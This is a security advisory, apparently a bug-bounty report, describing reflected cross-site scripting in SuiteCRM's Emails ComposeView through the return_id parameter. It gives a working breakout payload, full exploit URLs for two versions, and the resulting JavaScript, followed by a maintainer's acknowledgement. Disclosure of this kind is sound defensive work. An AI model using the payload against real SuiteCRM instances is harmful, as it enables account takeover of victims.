Reflected Cross-Site Scripting due to Improper Sanitization in salesagility/suitecrm
Reported on
Oct 9th 2022
Description
User Input that is reflected in a JavaScript Context is not properly sanitized. The User Input is reflected inside of a single-quoted string and single-quotes are encoded. However, there is an issue with the entity removing HTML <script>
tags that prevents single-quotes from being encoded. This allows breaking out of the string context and injecting user input into a JavaScript context, resulting in XSS.
Proof of Concept
In the ComposeView
for Emails, user input in the return_id
parameter is reflected in the response inside a script
-tag here:
<script>
{* Compose view has a TEMP ID in case you want to display multi instance of the ComposeView *}
$(document).ready(function() {ldelim}
$('#ComposeView').EmailsComposeView({if $RETURN_MODULE != 'Emails' && $RETURN_ID}{ldelim}
'attachment': {ldelim}
'module': '{$RETURN_MODULE}',
'id': '{$RETURN_ID}'
{rdelim}
{rdelim}{/if});
{rdelim});
</script>
Breaking out by injecting a single-quote does not work since these are encoded. However, this can be bypassed by injecting a </script>
-tag which is then removed by an implemented filter.
Payload
In order to leave the JavaScript syntax intact, the complete payload looks like this:
8331951d-e227-bf4a-4d9f-6342aee6edcc'</script>}});alert`1`;});$(a).a(function(){$(a).a({1:{1:'
Full URL
SuiteCRM 7.12.7:
/index.php?return_module=Contacts&return_action=index&return_id=8331951d-e227-bf4a-4d9f-6342aee6edcc'</script>}});alert`1`;});$(a).a(function(){$(a).a({1:{1:'&parent_type=Contacts&parent_name=test%20test&parent_id=8331951d-e227-bf4a-4d9f-6342aee6edcc&module=Emails&action=ComposeView
SuiteCRM 8.1.3:
/legacy/index.php?return_module=Contacts&return_action=index&return_id=8331951d-e227-bf4a-4d9f-6342aee6edcc'</script>}});alert`1`;});$(a).a(function(){$(a).a({1:{1:'&parent_type=Contacts&parent_name=test%20test&parent_id=8331951d-e227-bf4a-4d9f-6342aee6edcc&module=Emails&action=ComposeView
Resulting JavaScript Code
The PoC results in the following JavaScript code:
<script>
$(document).ready(function() {
$('#ComposeView').EmailsComposeView({
'attachment': {
'module': 'Contacts',
'id': '8331951d-e227-bf4a-4d9f-6342aee6edcc'}});alert`1`;});$(a).a(function(){$(a).a({1:{1:''
}
});
});
</script>
Impact
The impact is JavaScript code execution in the context of the victim, essentially leading to complete account takeover.
Occurrences
ComposeView.tpl L260
User Input should be properly sanitized before being inserted into a JavaScript context.
Hi Vautia,
Thank you for your Security Report.
We have raised the issue from this report with our internal security team to be confirmed.
Below is a reference of the issue raised and ID allocated:
- SCRMBT-#212 - Reflected Cross-Site Scripting due to Improper Sanitization
We will review the issue and confirm if it is a vulnerability within SuiteCRM and meets our criteria for a Security issue. If an issue is not considered a Security issue or that it does not need to be private then we'll raise it via the GitHub bug tracker or a more appropriate place.
Thank you for your contribution to the SuiteCRM project.